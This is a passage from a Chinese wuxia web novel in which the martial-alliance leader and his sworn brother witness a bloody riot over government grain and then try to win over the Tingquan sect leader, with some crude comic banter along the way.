我忽然感觉大事不妙,正琢磨着要说些什么,竟听到慕容顺咬牙切齿地说:“这就是你此行的目的吗?” 我说:“你,你这是什么意思?” 慕容顺狠狠地瞪了一眼李小谦,咬着牙对我说:“你二人一唱一和,有意激我,就是为了废掉我的烈火掌,除去我这个后患吗?” “不是!”我连忙解释,“我真的只是饿了。” 慕容顺不听我解释,举着手在我眼前晃了晃,说:“这下你可以放心了。烈火掌已废,我已成了一个无用之人,你不必再煞费苦心地来拉拢我了。” “可是......” 我刚一开口,却又被慕容顺打断,他说:“我也不会帮管天下做任何事,你们走吧!” “我真的......” 我想要再解释一番,李小谦却在我身后悄悄扯了我衣角,对慕容顺抱拳说道:“既然如此,我们就不打扰了。” 我还想要说些什么来挽回慕容顺,但李小谦一直手已经死死地拉住了我的胳膊,将我生生地拽出了缅岳亭。 3. 远离缅岳亭时,我回头望了一眼在亭子中伫立的那道青影,感觉似有异物堵在胸口一般,十分难受。 我说:“为什么会弄成这样。” 李小谦却说:“一场苦肉计。” 苦肉计? 莫非慕容顺是有意做给我看的? 李小谦说:“这样的结果已经不错了,慕容顺有他自己的态度,他既不想与管天下一起公开反叛武林盟,又不想得罪了你。” 我这时才明白,慕容顺为何要强撑着将那条鱼烤焦,他有意设计了这么一场戏做给我看,竟然就是为了自己能从这场纠纷之中脱身出来。 “可是,小月还说他光明磊落。”我一阵失落。 李小谦叹了口气,说:“这世间看不透的人还有很多。慕容顺这样做已经算好的了,总比明面上答应了你,背后却捅你一刀的人强多了。” 谁会是这样的人呢? 李小谦在我前面缓步走着,他的步子里迈着我看不懂的轻松。我想起小月的话,她让我不要一味相信李小谦...... “你会不会在背后捅我一刀?”我忍不住开口去问。 李小谦的步子忽然放缓,他低下头,似乎是思索了很久,轻声地说:“不会。” 第二卷 武林盟的开始与结局 第一百二十五章 官粮 绍兴十五年,六月。 这场风波正在以我所不能控制的速度不断发酵。局势变化之快,远远超出了我的意料。 周望安收到苏红袖报信之后,愤而提剑,带领龙虎帮众人杀向往生堂总部。与此同时,司徒清尘在我离开南华山以后,出人意料地向何白旗寄去质问帖,要求何白旗赔偿南华派各项损失共计白银三万两,否则将带南华派三百弟子亲赴往生堂讨要。 白银三万两。司徒清尘可谓是狮子大开口,借翻印书册之事,讹诈往生堂,来弥补他证道记被封的损失。 被龙虎帮与南华派逼得走投无路的何白旗,携往生堂百余众赴福建,投靠了管天下。虽然,往生堂的名号依旧存在于江湖之上,但却已然成了管天下手下的一个分支,名存实亡。 阔刀门的陈大刀,汀泉派的伍黑龙一直是管天下强有力的支持者。四大门派组成了牢不可破的联盟,他们口号一致,便是要废除武林盟,重振江湖。 同是这一年六月,闷热的夏天来得比往些年更早了一些。 福建、江西两路遭遇旱灾,春播一场,尚未等到收获,便已有大片大片的作物旱死在田野里。这个提前而来的夏天过后,大地将一片苍凉,注定颗粒无收。 大量的难民涌上街头,一场潜藏危机已经在悄然之间开始酝酿开来。 我和李小谦路过闽赣交接的小镇时,曾看到数以千计的难民如蚁群一般涌动在荒凉的官道上,他们衣衫褴褛,脸上被灰黑的泥土覆盖,看不清表情,却能看到一双双绝望的眼睛里透着对这个世道刻骨的仇恨。 我在路旁驻足观望时,一个步履蹒跚的少年从我身边走过,一边走一边喃喃自语。他披散着长发,看上去不过十四五岁,面庞并不肮脏,五官清晰可认,剑眉星目,英气非凡,可以看出他并不是丑陋之人。只是自言自语的同时让我觉得他的面目有点狰狞。他从人群之中蹒跚走过,瘦弱的身躯在干燥的风中尤显的可怜。 当走到我身边时,他无意地看了我一眼,发现我正在看着他,目光停滞了片刻。他的眼珠里闪的死亡的灰色,让我心头剧烈的一震。还未等我作出任何反应,他又低下头,把地上的一根断枝踢了又踢,忽然像孩子般开心的大笑,然后脚步蹒跚地继续朝前走。 可怜的少年,他孤零零的背影,让我想到了初下雁荡山时的自己。不知他这一生是否能够有如我一般的命运,从一个默默无闻的小人物,成为这个武林的盟主。 “让道,让道!他娘的,都滚远点!”远处传来粗犷而粗鲁的叫喊声。我回头去看,一队车马拉着不知是何物的东西,被棕绿色粗布盖得严严实实。车辕滚过地面,在地上留下深深的车辙印子,看得出马车上物品的沉重。 “他娘的,你没长耳朵吗?滚开!”车队行到我跟前,一个黑脸发猩,满脸髭蚺的汉子,瞪着牛铃般大小的眼睛正扬手冲我叫骂。 我一阵愤怒,挺身说道:“我是武林盟主,说话客气一些!” 那汉子回头与同伴交流一番眼神,一咧嘴,一群人登时笑得前仰后合。 “武林盟主是什么鸟蛋?!”那汉子喊着,一只手指着马车上飘扬的旗子,说道,“看不到这是官道的车马么?给老子滚远点,不然治你个阻碍公务之罪!” 我看着马车上飘扬的旗子,一个硕大的“官”字随风摇摆,威武尽显。 “你们运得什么?”我一时好奇那些马车上沉重的物品,开口问道。 那些人忽然变得异常紧张,警惕地盯着我,还有几个人手掌悄然间攥住了腰间的佩刀。 李小谦拉着我向后退了两步,轻声说道:“民不与官斗,我们还有事要做,别惹不必要的是非。” 我点了点头,正要向一旁躲避,不料我身子一动,对面一人竟“哇”地一声叫喊,同时拔出了腰间的佩刀。刀光一晃,割断了马车上刹紧的绳索。 “嘣”的一声。如琴瑟断弦之声,几道绳索向回一抽。棕绿色帆布之下,滚下几匹麻袋。其中一匹麻袋重重砸在地上,束口蹦来,白花花的米粒登时涌出,铺了一地。 “他娘的,你干什么?!”带头的汉子惊恐地骂着。 “粮食!”人群中不知谁高喊了一声,如同引信的一把火,瞬间燃爆了全场。 押车的几名壮汉还未来得及反应,夹道停滞的难民已像沸腾的米粥一样涌了过来。 “后退!都他娘的后退!这是官粮,这是……”带头的汉子话都没有说完,已有数十名难民爬上沉重的马车。一匹又一匹麻袋从马车上滚落。拉车的马被难民吓得不安地颠着蹄子,扬头长嘶。 场面彻底失控了。没有人再去追问那个抽刀割断绳索的汉子到底为何如此,他们只是惊恐地看着疯狂的难民如饿虎扑食一般地抢夺着一匹又一匹的麻袋,黄褐色的土地已经被满地的白米粒铺平。 “退后!” 带头的汉子,双目猩红,满脸狰狞,他手起刀落,将眼前一个闷头往怀里塞米的枯瘦男子砍翻在地。那男子还未来得及挣扎一声,殷红的鲜血已将满地才白米染成血色。 “杀人啦!”人群里有人高声嘶吼,声音里除却恐惧,还有一丝愤怒。 已掏了满怀白米的人开始后退,后来的还未凑近马车的人仍旧不顾性命地向前涌动。同样是死,与其等着被饿死,的确不如冲上前去疯狂地搏一把。或许,真的能搏到一口救命的粮食呢。 人群再次停滞了,求退不得,求进不能。几个押车的壮汉开始疯狂地砍杀马车四周的难民,手起刀落,斩下一颗头颅就像切来一个熟透的西瓜。 那群人,疯狂的杀着。血腥弥漫,血色弥漫,血影弥漫……是一片鲜血染红的世界。 我和李小谦被夹在人群中央,脸颊被人挤得紧紧贴在了一起。 “你可别亲上我!”李小谦勉力地发出声音,“我会吐的!” 我也会! 我心里这样想的,使劲地将脸向一侧拧,尽量让自己的嘴巴离李小谦的嘴巴远一点,再远一点。 忽然,我看到一个少年。 一个披散着头发,样貌有些英俊的少年。他正抱着满怀的大米,向人群之外挤着。只是,拥挤的人群已在他面前形成一道铜墙铁壁,他如何也挤不出去。然而,就在这个时候,那个眼睛瞪得如牛铃般大小的汉子,满目猩红地挥舞着长刀,正在他身边疯狂地砍杀着。书仓网 那把染满鲜血的长刀不停地挥舞着,夺走了一个又一个可怜的生命。眼看着,那少年即将成为那并血红长刀下的亡魂。 我心头骤然一紧,大喊道:“住手!快住手!” 却哪里有人肯住手?! 他们似乎是已经陷入一种病态的疯狂之中,疯狂得让他们的耳朵障蔽了周围的一切。 刀离那少年越来越近。我仿佛已经看到他血溅当场,轰然倒下的画面。一瞬间,我突然觉得心口很痛,一股热腾腾的怒气从丹田涌出,顺着全身经脉在游走。 “适可而止!”我大喊一声,双手用力向四周一推。四周传来诧异惊恐的尖叫,其中也包括李小谦的一声:“姬旦丙,你大爷……”声音越飘越远,铜墙铁壁一般的人群竟然被我撕开了一道口子。 我顾不得多想,双足点地向上一跃,跳起一人高。九郎剑顺势出鞘,我单手向外一推! 剑如一道光芒射向了那眼如牛铃的壮汉。 壮汉的杀戮忽然停滞了,他满目诧异地低头看向胸口。九郎剑已从他后背刺入,前胸刺出,他拧着身子,或许是想要寻找掷出夺命短剑的我,却还未看到我,就已颓然倒地。 2. 当蜂蛹的难民彻底散得无影无踪之时,车马队两旁的地面已是一片红白交杂的场面。 满地尸体,遍地狼藉。 我默然地看着这一切,心中不停地颤抖着。这样的惨烈,平生我只见过两次,一次是此时,另一次便是那夜一片火海的雁荡山。 我走到一具尸体前,拔出我的九郎剑。一滴鲜血在剑尖儿上滴落,正落在一颗洁白的米粒上。那颗米粒登时变得殷红如血。 不!那就是血! 凝着悲哀与残忍的血!它污染了我的剑,让我一阵作呕! “你大爷的!”李小谦骂咧咧地,一瘸一拐地走了回来,一只手捂着后腰,一只手捂着胸口,叫道,“哪来的这么大劲,都把老子打飞了。妈的,摔死老子!” 看着他的样子,我深感歉意,却如何我不能歉意地一笑。我看着倚在车马边缘,手握猩红长刀的几个壮汉,他们绝望地看着满地的狼藉,喃喃念着:“完了,这次完了!八万旦官粮被劫掠一空,恐怕我们是活不成了!” 忽然,另一个长脸山羊胡子的汉子豁然起身,将刀狠狠地摔在地上,叫道:“粮草没保住,还平白杀了这么多人!他娘的,刚刚到底是谁先动的手?!” “是吴镖头!”一个人大喊。 “吴镖头!”山羊胡子叫道,“你应该解释一下,为何要领着兄弟们滥杀无辜?!吴镖头!吴镖头?……” 喊了几声,他才发现,那个姓吴的镖头,正在我脚下趴着,一动不动。他周围的地面,已被鲜血染红了一大片。 “你,你杀了吴镖头?!”山羊胡子看着我,满脸惊恐,“你,你到底是什么人?!” 我愤怒地瞪着他们,恨不得胸口的怒火从眼睛里喷出去,将这群残忍嗜杀的野兽统统烧死! “不是给你们说过了嘛!”李小谦捂着胸口说,“他是武林盟主。” 几个人面面相觑,仍旧一副不敢相信的表情。山羊胡子说:“据说,武林盟主武功稀松平常,可是他……” “人总是要进步滴……”李小谦说道,“你们要用发展的眼光看待这个世界……懂不懂?!” 几个人傻愣愣地摇头。 忽然,一个年轻的汉子噗通一声跪在了地上,冲我连磕了三个响头,说道:“盟主大人,你救救我们吧?!” “救你们?”我不解,“有什么好救的?!” 那人又磕头,说道:“我们是通山镖局的,保一趟官府的镖到扬州,如今保镖失败,官府的官粮尽数被抢,官府如何也不会放过我们通山镖局。求盟主大人救命啊!” “好机会!”李小谦轻声地说,“正好收为己用!” “不!”我想都没想,断然拒绝,说道,“他们杀了这么多人,死有余辜!” 几个人身子同时一阵,各个面带惊恐地盯着我。我想起陆游的话,说:“我不会杀你们,朝廷自有法度,律法会严惩你们!” “别呀!”李小谦咬着牙对我说,“要不然你就干脆一个不留!” 那我岂不是和这群禽兽无异?! “好啊!”那个年轻地喊着站起身来,喊道,“既然盟主瞧不起我们,不肯救我们这些江湖上的兄弟。那我们只能另投明主了!” 山羊胡子脸色一变,低吼道:“胡说八道些什么?!” 年轻地汉子急切地说着:“他都不管我们了。如何也是一死,不如我们去投奔双刀门门主管天下,听说他近日正广辟天下受难的武林人士,称要重振江湖。” 山羊胡子有些犹豫。年轻男子极力劝道:“副镖头,如何也是走投无路了,去了管天下那里,或许不仅能保命,还能有一番作为!” 沉吟了许久,山羊胡子蓦然仰头朝天,花白的山羊胡子撅成了山羊尾巴,他长叹一声,悲怆地说:“只好如此了!” 第二卷 武林盟的开始与结局 第一百二十六章 汀泉 1. 少年沾着血污的头发打成几绺,披散着,遮住他小半张脸。他站在我面前,手上提着一个兜起来的碎布,面无表情地对我说:“谢谢你救了我,这些米给你。” 他的眼神中闪烁着难以言说的坚毅。这种眼神,从四荒逃亡的难民中从未见过。我说:“我不需要。” 那少年一愣,竟然将那碎布强行塞到我手里。他说:“我只能给你这些,剩下的这些还要去救我娘的命......” 他这一句更让我心中酸涩。曾几何时,我们兄弟四人随着八矛师父四处逃荒的时候,也尝过忍饥挨饿的滋味,那是一种生不如死的感受。我将米塞回那少年手中,说:“我不需要,你拿走吧。” 那少年疑惑地望着我,攥着碎布的手迟疑了几次,最终还是塞到了自己怀中。随后,他噗通一声跪在地上,冲我磕了三个响头,郑重地说:“我娘说,不能欠人恩情。我这条命是你的,如果你需要,随时可以取走。只是我还需要照顾我娘......” “你走吧。”我说,“去照顾你娘吧,我不要你的命。” 少年重重磕了几个头,转身离去。 我看着少年的背影,他离开的样子如同他目光中的坚毅一样,让我难以言说得清楚。 “哎……”我叹了口气,说,“真是可怜啊!” 李小谦揉着胸口,咧着嘴说:“别装圣母婊了,你看看老子这胸口,都被你一拳搓肿了。”他捏着右边的确有些隆起的胸,说:“这得有a罩杯那么大了吧!” 我说:“对不起,我不是有意的,当时只是情急……”说到这里,一个念头忽然闪过脑海,我低头看着自己的双手,回忆着那一瞬间所推出的两掌,那份力道可谓是胜过我以往所见过的一切高手。 到底是什么时候,我不知不觉间有了这样的力量?! 2. 炎炎夏日。我和李小谦策马奔驰在沧浪的古道中,身后马蹄扬起的尘土与面前一片蒸腾的景象形成了鲜明的对照。 明知山有虎,偏向虎山行。这又是一场结果未知的奔波。而这一次,我们奔赴的方向,正是这场江湖纷乱极速发酵的原地——福建。 “你说,伍黑龙会见我们吗?”我惴惴不安地问。 李小谦紧紧握着缰绳,身子在马背上颠簸起伏,他说:“现在还不好说,等到了以后就知道了。” 得知何白旗投奔管天下的消息,我在未与李小谦商量的情况下,做了两件事。一是找人连夜寄书柳无风,希望他故技重施,带军赶来福建威慑。虽然,我知道这并不是一个好主意,但我却不得不这么做。若想要扭转当今的局势,只靠我和李小谦蒙头瞎转恐怕已是无所裨益。 当面谈判,并以武力威逼,只有这样才能达到我所期望的效果。这是我从括苍山上学到的道理。 当然,我并不想将管天下等人彻底消灭,他们毕竟还是这个江湖中的人。但我坚信,若不能让他们感到恐惧,只靠言语拉拢劝诱,怕是不会令他们改变心意。 我做的第二件事,便是火速赶赴福建,继续游说各大门派。诚如李小谦对柳无风说的那样,武力可以解决的问题,智力同样可以解决。 而这次游说的目标,是一直貌似态度强硬,一心跟随着管天下的伍黑龙。那日,在括苍山商议武林盟主之时,他得知柳无风的身份后,态度立时转变,让我隐约觉得,这个人或许并不想他表现的那么坚定。 若伍黑龙真的是一个形左实右、表里不一之人,那他必然将是打破管天下联盟的重要一环。 这样的决定,我依旧没有与李小谦商议,只是在决定出发之时将目的地告诉了李小谦。当时,他显得有些不高兴,一直闷声不语地走在我跟前。 我没有事先预料李小谦的反应。但之所以会决定这么做,完全是想到了小月临走时对我说的话。虽然,我相信李小谦,但我也同样相信小月。 去往福建的路上,我将我的部署反复思量了一遍,我感觉我已经将事情想到了极致,我以为这样的安排已经足够周全了。但后来,直到结果真正显现在我的面前时。我才陡然发觉,我这样的安排是多么矛盾与可笑。无忧 3. 三天三夜,驾马奔驰,昼夜不停,终于在第三日的黄昏日落时分到达了福州汀泉山。 汀泉山并不如青云山那般高耸入云,直插天际。也不似括苍山一样横亘千里,绵延不绝。它不过是孤立在福州城外两座矮峰,一座名唤汀兰,一座名曰幽泉。两峰齐高,在中间挤出一道浅浅的山涧,山涧中流淌过一道银泓,蜿蜒如龙,日沐天光,夜映星月,灵气非凡。 汀泉派便落在这道银泓北岸。三十多年以前,江湖上还没有汀泉这个门派。汀泉山上不过是两伙分别盘踞在汀兰和幽泉两座山峰之上的土匪,凶猛彪悍,以打劫往来商客为生。 世人都说,一山难容二虎。然而这两伙土匪却从未产生过任何冲突,其原因不禁是中间隔了一条滚滚流动的河流,据传言还是两伙土匪为防止两峰争斗,签订契约,约定逢单日汀兰打劫,逢双日幽泉打劫。因此,汀泉山的两伙土匪常年相处和睦,相安无事。 江湖传闻,三十多年前的一个单数日,汀兰峰的一伙土匪在河边坐了整整一天,结果连个人影都没见到。临近子时,土匪们见对岸火光亮起,心知是幽泉峰的土匪前来换班,正欲悻悻而归。忽然,远处一叶小舟正顺流而下,船头伫立着一个身材矮小的少年,正悠然地唱着曲子,嗓音嘹亮。 或许是贼不能有空的心理作祟,汀兰峰的土匪竟然掉头回到河边,想要抢在子时之前劫下这方小船。 “嗖嗖嗖”的几声,几道拉着绳索的铁钩从河岸边抛出,稳稳钩在船梆之上,汀兰峰的土匪整齐地呼喊着“嘿呦嘿呦”的号子,将小船拉向岸边。 这个时候,山外城中,子时钟声响起。钟声未落,却在另一岸落下两道铁锁银钩,死死地挂住了船梆。汀兰,幽泉两岸的初次争端,在毫无征兆的情况之下,却不是为了黄金万两,不是为了美女艳姬,只因一叶不知从何而来的小舟以及一个岿然立足船头的矮个子少年。 两方绳索铁链拉进,寸步不让,且各有几名熟识水性的土匪摸黑游向了小舟。 然而,当第一名土匪爬上小船时,还未站稳,只听茫茫的黑夜中“呼”的一道风声,血洒如墨,一颗圆咕隆咚的脑袋抛向天空。 后面的土匪叫喊着,调头潜进深水,奋力向两岸逃窜。矮个子少年,手中提着硕大的铁板斧头,踏水飞向汀兰峰一岸。水里往岸边游的土匪还未游到一半,那少年已稳稳地踩到了坚实的岸边。 见到武功高强而诡异的少年,土匪们顿时没了丝毫反抗的勇气,连连尖叫着四散逃亡。 “统统给我站住!” 一声历喝,声音中尚余着几分稚嫩,却已如晴空里陡然打响的霹雳一般,震撼了所有的人。数十名土匪跪地求饶,连喊饶命。那少年却忽然转身望向对岸,深吸一口气,大吼:“对面的人听着,天亮之前前来跪拜。胆敢不来者,铁斧剁头!”那声如洪钟,三百米之内犹如附耳高呼。 第二天,天微亮。汀兰峰一侧,一百多名凶狠残忍的土匪纷纷惊恐地跪在地上,头颅深埋,没有一个人敢抬起头来。他们跪倒的方向向前十米处,一个衣着朴素的矮个子少年负手而立,他身边立着一柄高约五尺的铁板长斧,斧柄深入泥土之中,带着无穷的霸气。 少年望着天边紫黄交错的晨辉,双眼迷离,忽然他转身振臂,对着满地匍匐的土匪大喊一声:“尔等一群贼寇,有幸入我麾下,我将在此开门立派,传授你们武艺,率尔等杀入江湖,从此我便是这江湖至尊,你们就是至尊的门徒,一人之下万人之上!” 匍匐在地上的土匪面面相觑。若这样的话从一名年过半百的老者口中说出来,倒还有几分可信。可眼前这个身材矮小的少年,说话声里都带着一丝未脱的稚气,从他嘴里说出这样的话,怎么能不让人感到怪异。 但他们却又亲见了这少年的武功伸手,即使不能相信,却也不敢发出一丝一毫的质疑之声。突然,跪在最后面的一个土匪扣首问道:“大侠,不知我们这个门派叫什么名字?” 那少年沉吟了片刻,望着霞光之中美轮美奂的两座山峰,蓦然一笑,说道:“就叫汀泉派。” 从此,江湖上多了一个汀泉派。汀泉派的掌门人伍白鹤,以出手狠辣,性情古怪闻名江湖。起初,人们只知道他武功高强,却没有一个人知道,那是一个身材矮小的少年郎。 因为,江湖上凡是见过伍白鹤的人都死了。都是被一柄锋利的铁板斧削去了头颅,惨不忍睹!汀泉派扬名江湖的同时,却也树敌无数,成了江湖上赫赫有名的邪门歪道。 伍白鹤深入简出,除了杀人,从未显出真身,使得许多想要报仇雪恨的人无从下手,只得骂着汀泉派的名字,杀着汀泉派的喽啰,聊以慰藉。 但是,让江湖上没有想到的是,就在汀泉派立派的第十个年头,汀泉派却忽然易主。伍白鹤莫名奇妙地死了,他的弟弟伍黑龙继承了汀泉派掌门的宝座。 伍黑龙小眼看世界,却有更大的智慧。他深知自己武功不及兄长,因此放低姿态,主动与各大门派修好,并投各大掌门、门主之所好,除了送金银就是送美女,也很快在江湖上站稳了脚跟。 为了彻底洗白汀泉派,建炎年间,他随管天下一同北上投靠了李彦仙,共同抵御金军。汀泉派也由此从邪门歪道摇身一变成了民族英雄,声名大噪。 而我接下来要面对的,便是这样一个汀泉派,这样一个伍黑龙。虽然茫然,虽然无法预料结果,虽然内心深处埋着一种深沉的恐惧,但我却依旧咬牙坚持着走到了汀泉派高耸的石碑之前...... 第二卷 武林盟的开始与结局 第一百二十七章 七嫂 1. 临门拜帖虽然唐突,但李小谦说,有总比没有要好。 李小谦说,伍黑龙与其他人不同,他是管天下反武林盟联盟中极为重要的一员,想要拉拢他必须要放低姿态,登门先递拜帖这样的基本礼仪必不可少。 汀泉派门前的石阶上,我铺开事先备好的帖纸,提起笔却不知这拜帖要如何书写。 “拜帖怎么写?”我问。 李小谦一只手指着帖子正中央,说:“这里,写一个大大的姬旦丙,越大越好!” 想到这个一直被我深恶痛绝的名字,此刻却还要被放大在这小小的拜帖正中央,我心里一阵厌恶。我一咬牙,下笔飞快,写了“李小谦”三个字。 “我靠!”李小谦叫道,“你写我作甚?” 我沉默不答,继续问:“还要写什么?” 李小谦叹了口气,指着右上角,说:“信呈汀泉掌门人伍黑龙亲启。”指着左下角说:“这里要写拜访之人的身份,你打算怎么写?” 我按照李小谦的说法写完右上角的字,笔尖移到左下角,却犯了难。 李小谦的身份是什么? 在这个江湖中,人人皆知我姬旦丙是武林盟主。却有谁认得我这个结拜大哥李小谦呢? 思前想后,我忽然灵机一动,下笔写道“武林盟主”四个大字。 “我靠,这倒霉差事我可不干!”李小谦想要抓走拜帖,我伸手将他拦住,在“盟”与“主”之间,点了一个大大的点。 李小谦愣住了,他轻声地问我:“你,你什么意思?” 我嘿嘿一笑,说:“我是武林盟主,你是武林盟的主人。” 李小谦的神色有些怪异,他喃喃念叨着:“老子竟然混了这么个差事。” 然而,那时候,我们谁都没有意料到,正是这张草率书写下的拜帖,在不久的将来,彻底将李小谦推向了那个悲惨的结局。 2. 汀泉派值守山门的小弟子收下拜帖,抬头扫了一眼我和李小谦,神情之中有些迟疑。他问:“你们真的是武林盟的人?” 李小谦有些不耐烦了,他说:“看不到帖子上的字吗?快去禀报你们掌门。” 小弟子喃喃自语,转身跑了进去。大约过了半盏茶的时间,他又急匆匆地跑了回来,大口喘着粗气,说:“我们掌门说他不在,你们请回吧。” “尼玛!”李小谦瞪着眼睛大骂,“什么叫你们掌门说他不在?!这么敷衍老子,信不信老子当场发飙?” 小弟子嘟着嘴,向我们挤了一个白眼,说:“掌门就是这么说的。” 看着那小弟子的态度,我满肚子怒火难以压制,放声吼道:“快让伍黑龙出来!”说罢,我攥着剑就要往门里冲。 李小谦赶忙拽住了我,小声说:“淡定,要放低姿态。” 我强压下怒火,问李小谦:“有什么办法能见到伍黑龙?” 李小谦思索了很长时间,对我说:“没有。” 我接着拔出九郎剑,说道:“那还有什么好说的,冲进去!” 刚迈出两步,我又被李小谦拉了回来,他说:“你别冲动,我们三顾茅庐,礼贤下士,诚心诚意,死缠烂打......总之,一定会见到伍黑龙的,你现在若提着剑冲进去,就算见到伍黑龙,他的眼睛里也再不可能容得下你了!” 我瞬间想起伍黑龙眯缝的小眼睛,说:“他眼里本来就容不下我!” 3. 虽然心里有气,但我还是强忍着听从了李小谦的建议。坐在汀兰峰下,望着滚滚流动的河水,日暮西垂,我忽然想到那个有关汀泉派建派的江湖传闻。 我一阵感慨:“三十年前,或许就是在这里,那个名叫伍白鹤的少年,一斧头砍死了一个土匪,从此建立了汀泉派。若没有伍白鹤,就不会有汀泉派,也不会有今天的麻烦。” 李小谦淡然地点着火堆,将一块面饼架在火上翻烤,他说:“没有汀泉派也会有别的门派,局势就是如此,你发这样的牢骚也没有用。” 是啊。没有汀泉派,也会有其他的门派横亘在我的面前,带给我同样无法破解的困难。 “若小月在就好了。”我低头念着,想起小月,心里的思念如河水一样流淌。 李小谦摇头叹息:“多好,你还有一个可以想念的人,而我总是孑然一身,无牵无挂。” “你还有我!”我诚心安慰,却看见李小谦不屑地翻了个白眼,说:“你有个屁用。还不如五姑娘的安慰呢。” 五姑娘?从未听李小谦提起过这样一个女子。 我充满了好奇,三步并作两步走到他身边,蹲下了询问:“五姑娘是谁?长得漂亮吗?”无忧 李小谦“啧啧”两声,说:“瞅瞅你不要脸的样子!都已经有了小月了,还关心五姑娘漂不漂亮?” 我用手戳了戳李小谦的肩膀,做出央求的姿态,说:“讲讲吧,五姑娘到底长得漂不漂亮?” 李小谦似乎陷入回忆,他说:“五姑娘......她不是漂不漂亮的问题......关键是你可以把她想象成任何人的模样......她......”李小谦伸出右手,颇有些兴致勃然的表情忽然停滞,随即变得异常落寞,一摆手,说:“算了,给你说了你也不懂。” 把她想象成任何模样? 这个世间还有这样的女子? 我还在思索着,李小谦却说:“不过,那个苏红袖长得的确不错。是个美人,就可惜了是个鸡头。” 我想起苏红袖的模样,对李小谦的形容非常费劲,说:“她的头并不像鸡。” 李小谦说:“我说得鸡不是吃的那个鸡。”他沉吟了片刻,说:“不知道她是不是真的去了武林盟,如果她真的带着红袖阁的姑娘们去了武林盟,以后我就可以彻底告别五姑娘了。” 他双目中泛着淫光,看着荡漾的河水,我已经投过他双眼看到了那颗同在荡漾的春心。 我警告他:“为人要专一,不可以见异思迁。既然你心里已经有了五姑娘,你就应该一辈子钟情于她。” 我这话一说完,李小谦却勃然大怒,骂道:“呸,你他娘的才一辈子钟情五姑娘呢。” 说话间,天已全黑。拜访伍黑龙之事,仍旧一筹莫展。 我说:“不如我们仿效夜闯静心庵那次,半夜里潜入汀泉派,去找伍黑龙。” 李小谦摆了摆手,说:“不行。汀泉派的人不是静心庵里那些手无缚鸡之力的小尼姑,他们个个身负武功,警惕性极高,只怕我们刚刚翻进去就已经被他们擒住了。” 这要如何是好呢?我们二人再一次陷入了漫长的沉默。 4. 歌声悠扬,红光摇晃。 两峰之间的河道远处忽然传来悦耳的女声,她唱着婉转的曲调,向我们传递着她心中的愉悦。 李小谦飞快两脚踩灭了火堆,拉着我说:“快躲起来。” 我一惊,忙问:“什么人?” 我俩躲到河岸边的一颗参天大树之下,蹲下身子,李小谦探出半个脑袋,小声地说:“果然是她。” “是谁?”我急切地问。 李小谦轻轻拍了拍我肩膀,狡黠地一笑,说:“兄弟,信我的,这次可有好戏看了。” 我如坠千里迷雾,一片茫然,问:“到底是谁?要看什么好戏?” 李小谦眉毛一挑,说:“廖老七家的寡妇媳妇!” 廖七嫂?! 我大惊,问:“她来做什么?莫非她也加入了管天下一方,来与伍黑龙密谋?!” 李小谦却摇了摇头,说:“明面上她以妇道人家自居,在江湖上从不表态。其实,她和伍黑龙之间......” “她和伍黑龙之间怎么了?”李小谦如此吊我胃口,让我更加着急,声音稍稍大了一些。李小谦慌忙捂住我嘴巴,低声吼道:“小声点!” 他松开捂着我嘴巴的手,满脸奸笑,小声地说:“有奸情!” 这绝无可能! 括苍山武林大会,我亲眼所见,伍黑龙当众侮辱廖七嫂,二人虽不能说有深仇大恨,但廖七嫂的确对伍黑龙没有一丝一毫的善言善语。若说他俩人有奸情,那我绝然不肯相信。 李小谦似乎看破了我的心思,他笑着,低声问我:“你不信?” 我说:“他俩在括苍山上结了仇,绝不可能有奸情。” 李小谦叹了一声,说:“那都是这俩奸夫淫妇演得一出戏。括苍山武林大会之前,江湖上已有绯言绯语,但从那次比试之后,江湖上的人却都和你想法一样了,认为两人结仇,绝对不可能有什么奸情,其实......哼哼......全是套路!” 我更加好奇,问:“你是如何知道的?” 李小谦张口回到:“我亲眼撞见的!” “什么时候?”我紧接着发问。李小谦却脸色一变,闭口不言。我继续追问:“你何时见的?在什么地方?” 李小谦眼神恍惚,言语上有些不耐烦的口气,说:“你别问了。总之是被我撞见过。这次若能逮他们一个现行,便不怕伍黑龙不就范。” 小船靠岸。一个胸前挺拔的黑衣女子提着红灯走下了船,她若做贼一般地向四处张望了一番,转身向着汀泉派走去。 在她望向我这一侧的瞬间,她那张被红灯照亮的脸清晰地进入我的眼帘。 她,的确是廖七嫂! 第二卷 武林盟的开始与结局 第一百二十八章 捉奸 1. 我们一路尾随着廖七嫂,却又不敢靠的太近。江湖人,武功越是高强,便越是耳聪目明,洞悉万变,跟得太紧难免会被廖七嫂发觉。好在是她提着一盏红灯,散发的幽幽红光,在黑夜之中颇为醒目,即使相隔百米,也能看得清清楚楚。 汀兰派就坐落在河岸向上两三百米高的半山上,即使缓步行进,也总不过是一炷香的时间。但我和李小谦一路未遂,似乎是走了很久,依旧没有看到汀泉派的影子。 “她不是往汀泉派去的。”思索了很久,我才发现廖七嫂绕过汀泉派走了另外一条路,这条路茫茫未知,不知道要去向何方。 “废话!”李小谦低吼道,“跟了真么就你才发现她不是去汀泉派吗?” 我的确是刚刚反应过来。我说:“她要去哪里?” 李小谦看向我,笑着说:“肯定是另有幽会的小庭院啊,小楼阁啊……小山洞啊,小树林啊……。” 他越说越不正经,我赶紧将他截住,并提醒他:“看树!” “看树?” 李小谦刚一句疑问出口,只听“砰”的一声,他的脑门结结实实地撞在一根腰一般粗细的树干上。 “哎呦!”李小谦惨叫一声,登时脸上大变,拉着我就势蹲下,做了个噤声的东西,两只眼直直地盯着百米外晃动的红灯。 红灯忽然不再晃动了。我顿时紧张起来,心想,莫非被廖七嫂发现了?! 正在我一颗心高高悬起之时,那红灯又开始摇晃着想山上移动。我长舒一口气,说道:“好险!” 李小谦也叹了口气,他一只手揉着脑袋,抱怨:“以后再有这种事你提前提醒我,可把老子撞死了。” 我嘿嘿一笑,起身继续跟踪远处摇曳的红光。一座高不过六七百米的矮峰,那红光领着我们左行右绕,愣生生地绕出了翻山越岭的感觉。 当眼前的风景再次变得熟悉之时,我和李小谦却被那红灯又带回了起点。 李小谦蹲在地上揉着脚踝,骂道:“他娘的,爬泰山也没这么累!这臭娘们儿在搞什么飞机!” 忽然,远处红光相隔百米之外的树林中又闪出另一道红光。又是一盏红色的灯笼在空中摇晃。 两盏红灯摇晃得更紧了,以极快的速度各自快走了五十多米,在中点相会。 “来了!”我激动地大喊一声,提起剑快步冲了上去。一边喊,一边大叫:“抓住你们了,哪里跑?!” 两盏红灯离我越来越近,越来越近,当我离得足够接近,足够看清楚他们的脸是,脚下极速倒腾的两只脚却忽然如同灌了铅一样,越来越沉重。 